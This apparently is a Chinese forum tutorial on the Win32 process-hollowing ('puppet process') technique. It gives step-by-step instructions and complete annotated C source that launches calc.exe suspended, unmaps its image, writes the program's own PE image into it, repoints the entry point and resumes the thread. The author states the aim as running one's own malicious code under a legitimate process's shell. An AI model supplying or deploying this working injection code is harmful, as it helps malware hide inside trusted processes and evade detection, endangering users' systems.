最近学习PE结构,顺便看到了一篇WIN32 EXE注入的文章,代码是04年的,比较古老了,
但是代码写的很好,受益匪浅,然后在百度很少找到翻译的比较清楚的文章,这篇我在代码中加了中文注释,
方便菜鸟理解,阅读这篇帖子需要熟悉PE结构,如果你不懂PE结构建议你先去学习下,
说错的地方请各位大神指正,板砖吐口水都可以。
--- 我是淫荡的分割线---
提到傀儡进程,首先想到的就是黑客所使用的后门程序了,首先使用CreateProcess传入CREATE_SUSPENDED
创建一个挂起的进程,以下称为傀儡进程,然后使用GetThreadContext读取傀儡进程的上下文信息,通过DWORD
指针指向CONTEXT的EBX,DWORD + 8 字节可以读取到傀儡进程的基地址,然后计算傀儡进程的镜像大小
然后把自己的数据读入到傀儡进程内,设置CONTEXT上下文入口点信息EAX,并恢复进程主线程。说白了就是使用
傀儡进程的外壳来执行自身的恶意代码。
下面使用步骤详细说明下,然后对照源代码看比较清楚些!
注意:程序默认注入的进程为计算器 傀儡进程为A进程,自身进程为B文件
当然这样说比较蛋疼,因为他是从你命令里面读取其他文件信息来注入到傀儡进程的,
这里我就把自身进程当作B进程,不从控制台接收exe信息,直接使用GetModuleFileName
函数来获取自身,这样方便理解!
1、使用fopen来读取B文件,返回FILE指针
2、使用C语言函数读取B文件的DOS FILE OPTIONAL SECTION等数据结构信息
3、获取B文件载入内存所需要的镜像大小 模除取余
4、使用VirtualAlloc申请B文件镜像大小初始化为0内存空间
5、把B文件读入到申请的内存空间中,并指针后移 [因为需要内存对齐]
6、使用CreateProcess创建一个挂起的傀儡进程并获取CONTEXT线程上下文信息
7、使用DWORD 指针指向CONTEXT->EBX,此时指针 + 8字节指向傀儡进程基址
8、使用VirtualQueryEx MEMORY_BASIC_INFORMATION结构来获取从傀儡进程基址 到末尾 得到傀儡进程镜像大小
9、如果傀儡进程的镜像大小 大于或等于 B进程的,并且他们的基地址相同,那么使用VirtualProtectEx设置从基地址到镜像大小这块内存为可读可写
10、否则需要卸载傀儡进程内存空间的数据,传入的参数为傀儡进程基址与镜像大小并在傀儡进程重新申请B进程镜像大小的内存空间
11、把在傀儡进程中重新申请的内存空间地址,写入到傀儡进程的基地址【重要】
12、把B文件已经读取到内存的数据,写入到傀儡进程中
13、设置傀儡进程的EAX指向B进程已经覆盖过数据的入口点
14、设置傀儡进程的线程上下文信息
15、ResumeThread恢复傀儡进程的主线程,以此达到使用傀儡进程的外壳来执行自身恶意代码的行为
注:其实这里面省略了一个步骤,那就是步骤10往后的一个地方,说ZwUnmapViewOfSection卸载失败以后
可能是存在重定位信息,但是EXE一般不会有重定位信息,因为exe首先被加载到属于自己的虚拟4GB空间,
然后他的判断是检测IMAGE_OPTIONAL_HEADER的IMAGE_DATA_DIRECTORY成员变量,这个是一个数据结构
索引为5的地方是重定位信息,判断他的地址与大小是否为0,来决定是否需要重定位信息。
以下代码我加了中文注释,并把原先的代码重新写了一遍,也方便自己来理解作者为何要这么写。
- // H文件
- #define dosHdrlen sizeof(IMAGE_DOS_HEADER)
- #define ntHdrslen sizeof(IMAGE_NT_HEADERS)
- #define fileHdrlen sizeof(IMAGE_FILE_HEADER)
- #define optionHdrlen sizeof(IMAGE_OPTIONAL_HEADER)
- #define sectionHdrlen sizeof(IMAGE_SECTION_HEADER)
- typedef struct _PROCINFO
- {
- unsigned long ulBaseAddr;
- unsigned long ulImageSize;
- }PROCINFO, *PPROCINFO;
- int RunInjectProcess();
- int getAlignedSize(unsigned long curSize, unsigned long alignment);
- int calctotalImageSize(PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);
- bool readPEInfo(FILE *fp, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER *sectionHdr);
- bool loadPE(FILE *fp, void *lptrloc, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);
- void doFork(void *lptrloc, int ImageSize, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);
- bool createProcInfo(PPROCESS_INFORMATION pi, PCONTEXT pthreadcxt, PPROCINFO outPorceInfo);
- bool unloadImage(HANDLE hProcess, unsigned long ulBaseAddr);
- int RunInjectProcess()
- {
- char szInject[MAX_PATH];
- GetModuleFileNameA(NULL, szInject, MAX_PATH);
- if (strstr(szInject, "calc.exe") != 0)
- return 0;
- FILE *fp;
- fopen_s(&fp, szInject, "rb"); // 文件指针
- if (fp)
- {
- IMAGE_DOS_HEADER dosHdr;
- IMAGE_FILE_HEADER fileHdr;
- IMAGE_OPTIONAL_HEADER optionHdr;
- PIMAGE_SECTION_HEADER sectionHdr;
- // 读取文件PE数据结构
- if (readPEInfo(fp, &dosHdr, &fileHdr, &optionHdr, §ionHdr))
- {
- // 计算PE文件镜像大小
- int ImageSize = calctotalImageSize(&fileHdr, &optionHdr, sectionHdr);
- // 申请内存空间 大小为自身的ImageSize 初始化为0并可读可写
- void *lptrloc = VirtualAlloc(NULL, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- if (lptrloc)
- {
- // 载入自身到内存空间
- loadPE(fp, lptrloc, &fileHdr, &optionHdr, sectionHdr);
- // 创建傀儡进程
- doFork(lptrloc, ImageSize, &dosHdr, &fileHdr, &optionHdr, sectionHdr);
- }
- else
- return false;
- }
- }
- else
- return 1;
- return 0;
- }
- bool readPEInfo(FILE *fp, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER *sectionHdr)
- {
- // 偏移指向文件末尾
- fseek(fp, 0, SEEK_END);
- long uFileSize = ftell(fp); // 获取文件大小
- fseek(fp, 0, SEEK_SET); // 指向文件头
- // 判断文件是否小于DOS头+NT头结构
- if (uFileSize < (dosHdrlen + ntHdrslen))
- {
- printf("file size too small.\n");
- return false;
- }
- // 读取DOS头数据结构并校验MZ签名
- fread(dosHdr, dosHdrlen, 1, fp);
- if (dosHdr->e_magic != 0x5a4d)
- {
- printf("the file not MZ signature.\n");
- return false;
- }
- // 偏移指向 dosHdr->e_lfanew 校验PE00签名
- unsigned long uPE00 = 0;
- fseek(fp, dosHdr->e_lfanew, SEEK_SET);
- fread(&uPE00, sizeof(unsigned long), 1, fp);
- if (uPE00 != IMAGE_NT_SIGNATURE)
- {
- printf("the file not pe00 signature.\n");
- return false;
- }
- // 读取FILE数据结构信息
- fread(fileHdr, fileHdrlen, 1, fp);
- if (fileHdr->SizeOfOptionalHeader != optionHdrlen)
- {
- printf("unexpected win32 pe file.\n");
- return false;
- }
- // 读取OPTIONAL可选头信息
- fread(optionHdr, optionHdrlen, 1, fp);
- // 校验WIN32或者WIN64应用程序
- if (optionHdr->Magic != 0x10b && optionHdr->Magic != 0x20b)
- {
- printf("the fuck not win32 or win64 pe file.\n");
- return false;
- }
- // 读取节表信息[区段表],总数为file-numberofsection中指定
- // 申请内存读取节表信息
- *sectionHdr = new IMAGE_SECTION_HEADER[fileHdr->NumberOfSections];
- if (*sectionHdr)
- {
- memset(*sectionHdr, 0, sectionHdrlen * fileHdr->NumberOfSections);
- fread(*sectionHdr, sectionHdrlen * fileHdr->NumberOfSections, 1, fp);
- }
- else
- return false;
- return true;
- }
- int calctotalImageSize(PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)
- {
- int nRetval = 0;
- // 获取PE文件在内存中所需要的对齐值 WIN32 为4096字节
- int alignment = optionHdr->SectionAlignment;
- // 判断 DOS + NT + SECTION表的大小
- // 总大小取余内存对齐值 如果为0则说明已经对齐
- // 否则总大小除以内存对齐值 然后++之后乘以内存页对齐值
- if (optionHdr->SizeOfHeaders % alignment == 0)
- nRetval += optionHdr->SizeOfHeaders;
- else
- {
- int val = optionHdr->SizeOfHeaders / alignment;
- val ++;
- nRetval += (val * alignment);
- }
- // for循环来处理每个区段在内存中所占的内存大小
- for (short i = 0; i < fileHdr->NumberOfSections; i++)
- {
- if (sectionHdr[i].Misc.VirtualSize)
- {
- if (sectionHdr[i].Misc.VirtualSize % alignment == 0)
- nRetval += sectionHdr[i].Misc.VirtualSize;
- else
- {
- int val = sectionHdr[i].Misc.VirtualSize / alignment;
- val ++;
- nRetval += (val * alignment);
- }
- }
- }
- return nRetval;
- }
- int getAlignedSize(unsigned long curSize, unsigned long alignment)
- {
- if(curSize % alignment == 0)
- return curSize;
- else
- {
- int val = curSize / alignment;
- val ++;
- return (val * alignment);
- }
- }
- bool loadPE(FILE *fp, void *lptrloc, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)
- {
- // 指针指向PE偏移0字节
- fseek(fp, 0, SEEK_SET);
- char *outPtr = (char *)lptrloc; // 强制转换指针
- unsigned long i;
- unsigned long headerSize = optionHdr->SizeOfHeaders; // 读取头数据大小
- // UPX压缩以后节表的首个指向原始数据的长度为0
- // 主要是为了读取整个头大小来查找偏移地址的
- for (i = 0; i < fileHdr->NumberOfSections; i++)
- {
- if (sectionHdr[i].PointerToRawData < headerSize)
- if (sectionHdr[i].PointerToRawData > 0)
- headerSize = sectionHdr[i].PointerToRawData;
- }
- // 读取PE头数据到申请的内存空间中
- unsigned long readSize = fread(outPtr, 1, headerSize, fp);
- if (readSize != headerSize)
- {
- printf("read header outPtr error.\n");
- return false;
- }
- // for循环读取节表到内存空间中
- // 因为需要内存对齐,所以内存指针需要后移内存页倍数的值
- outPtr += getAlignedSize(optionHdr->SizeOfHeaders, optionHdr->SectionAlignment);
- // 读取节表数据到内存空间
- for (i = 0; i < fileHdr->NumberOfSections; i++)
- {
- //printf("sectionHdr[i].SizeOfRawData %d\n",sectionHdr[i].SizeOfRawData);
- //printf("sectionHdr[i].VirtualSize %d\n",sectionHdr[i].Misc.VirtualSize);
- //printf("sectionHdr[i].PointerToRawData %d\n",sectionHdr[i].PointerToRawData);
- //putchar('\n');
- if (sectionHdr[i].SizeOfRawData > 0)
- {
- unsigned long toRead = sectionHdr[i].SizeOfRawData;
- if (toRead > sectionHdr[i].Misc.VirtualSize)
- toRead = sectionHdr[i].Misc.VirtualSize;
- // 设置PE在磁盘中的数据偏移地址
- fseek(fp, sectionHdr[i].PointerToRawData, SEEK_SET);
- readSize = fread(outPtr, 1, toRead, fp);
- if(readSize != toRead)
- {
- printf("reading section error %d.\n", i);
- return false;
- }
- // 指针后移内存对齐的倍数
- outPtr += getAlignedSize(sectionHdr[i].Misc.VirtualSize, optionHdr->SectionAlignment);
- }
- else
- {
- // UPX压缩以后的第一个节 如UPX0节的大小是为0
- // 所以直接后移内存对齐字节的倍数
- if(sectionHdr[i].Misc.VirtualSize)
- outPtr += getAlignedSize(sectionHdr[i].Misc.VirtualSize, optionHdr->SectionAlignment);
- }
- }
- return true;
- }
- void doFork(void *lptrloc, int ImageSize, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)
- {
- CONTEXT threadCxt; // 线程上下文
- PROCINFO proceInfo; // 傀儡进程基址与镜像大小
- PROCESS_INFORMATION pi; // 进程参数
- // 创建傀儡进程并取得基址与镜像大小
- if (createProcInfo(&pi, &threadCxt, &proceInfo))
- {
- void *pBaseAddr = NULL; // 内存指针
- // 如果傀儡进程与自身进程基址相等 并且傀儡进程镜像大小大于等于自身
- // 则设置这块内存为可读可写属性
- if (optionHdr->ImageBase == proceInfo.ulBaseAddr && ImageSize <= (int)proceInfo.ulImageSize)
- {
- pBaseAddr = (void*)proceInfo.ulBaseAddr;
- VirtualProtectEx(pi.hProcess, (void*)proceInfo.ulBaseAddr, proceInfo.ulImageSize, PAGE_EXECUTE_READWRITE, NULL);
- }
- else
- {
- // 否则卸载傀儡进程的内存数据
- if (unloadImage(pi.hProcess, proceInfo.ulBaseAddr))
- {
- // 在傀儡进程中重新申请内存空间,从自身的镜像基址开始申请,大小为自身的镜像大小 属性可读可写
- pBaseAddr = VirtualAllocEx(pi.hProcess, (void*)optionHdr->ImageBase, ImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- if (pBaseAddr)
- {
- printf("mem for new exe %x\n",(unsigned long)pBaseAddr);
- }
- }
- }
- // 这里原先是一个重定位操作,由于EXE不需要重定位操作 故此忽略
- if (pBaseAddr)
- {
- // 把重新申请的空间地址写入到傀儡进程基址
- unsigned long ulWritten;
- unsigned long *ulPEBInfo = (unsigned long*)threadCxt.Ebx;
- WriteProcessMemory(pi.hProcess, &ulPEBInfo[2], &pBaseAddr, sizeof(void*), &ulWritten);
- // 把自身的数据写入到傀儡进程中
- if(WriteProcessMemory(pi.hProcess, pBaseAddr, (LPCVOID)lptrloc, ImageSize, &ulWritten))
- {
- // 设置上下文信息
- threadCxt.ContextFlags = CONTEXT_FULL;
- // 如果申请的基地址 等于原来傀儡进程的基地址 则从自身的0x0040000处 + 入口点地址
- // 否则从申请的内存数据地址 + 入口点地址 为RVA
- if ((unsigned long)pBaseAddr == proceInfo.ulBaseAddr)
- {
- threadCxt.Eax = optionHdr->ImageBase + optionHdr->AddressOfEntryPoint;
- }
- else
- {
- threadCxt.Eax = (unsigned long)pBaseAddr + optionHdr->AddressOfEntryPoint;
- }
- // 设置傀儡进程的线程上下文信息
- SetThreadContext(pi.hThread, &threadCxt);
- // 恢复主线程执行
- ResumeThread(pi.hThread);
- }
- }
- }
- else
- {
- printf("create puppet process failure %d\n", GetLastError());
- }
- }
- #define TPROCEXE _T("c:\\windows\\system32\\calc.exe")
- //************************************************************************
- //
- // lkd> dt_peb
- // nt!_PEB
- // +0x000 InheritedAddressSpace : UChar
- // +0x001 ReadImageFileExecOptions : UChar
- // +0x002 BeingDebugged : UChar
- // +0x003 BitField : UChar
- // +0x003 ImageUsesLargePages : Pos 0, 1 Bit
- // +0x003 SpareBits : Pos 1, 7 Bits
- // +0x004 Mutant : Ptr32 Void
- // +0x008 ImageBaseAddress : Ptr32 Void *这里是PEB结构 + 8 字节的地方
- //
- //************************************************************************
- bool createProcInfo(PPROCESS_INFORMATION pi, PCONTEXT pthreadcxt, PPROCINFO outPorceInfo)
- {
- STARTUPINFO si = {0};
- si.cb = sizeof(si); // 初始化SI结构大小
- // 创建挂起的傀儡进程
- if (CreateProcess(TPROCEXE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, pi))
- {
- // 获取线程CONTEXT上下文信息
- pthreadcxt->ContextFlags = CONTEXT_FULL;
- GetThreadContext(pi->hThread, pthreadcxt);
- // 从傀儡进程句柄 PEB结构 + 8 字节获取进程加载基址
- unsigned long *ulPebInfo = (unsigned long *)pthreadcxt->Ebx;
- ReadProcessMemory(pi->hProcess, &ulPebInfo[2], (void*)&(outPorceInfo->ulBaseAddr), sizeof(u_long), NULL);
- // 临时变量用来计算镜像大小
- unsigned long ulmemAddr = outPorceInfo->ulBaseAddr;
- MEMORY_BASIC_INFORMATION memInfo;
- memset(&memInfo,0,sizeof(memInfo));
- // 从进程的EBX+8开始读取镜像基址
- // memInfo->BaseAddress指向ulBaseAddr下一个边界
- // memInfo->RegionSize指向内存块的大小从BaseAddress开始计算
- // memInfo->State页面空闲状态MEM_FREE
- // 从进程加载的基地址空间来读取内存页的状态
- // 起始进程地址 + 每个页面的大小
- while (VirtualQueryEx(pi->hProcess, (void*)ulmemAddr, &memInfo, sizeof(memInfo)))
- {
- if (memInfo.State == MEM_FREE)
- break;
- ulmemAddr += memInfo.RegionSize;
- }
- // 末尾大小减去起始地址 等于EXE加载到进程地址空间中的镜像大小
- // 进程挂起状态下的
- outPorceInfo->ulImageSize = ulmemAddr - outPorceInfo->ulBaseAddr;
- printf("poutPorcInfo->ulImageSizex %d.\n",outPorceInfo->ulImageSize);
- }
- else
- return false;
- return true;
- }
- bool unloadImage(HANDLE hProcess, unsigned long ulBaseAddr)
- {
- typedef unsigned long (__stdcall *PTRZwUnmapViewOfSection) (HANDLE, void*);
- PTRZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;
- HMODULE hInst = LoadLibrary(_T("ntdll.dll"));
- if (hInst)
- {
- ZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(hInst, "ZwUnmapViewOfSection");
- if (ZwUnmapViewOfSection)
- {
- ZwUnmapViewOfSection(hProcess, (void*)&ulBaseAddr);
- }
- FreeLibrary(hInst);
- return true;
- }
- return false;
- }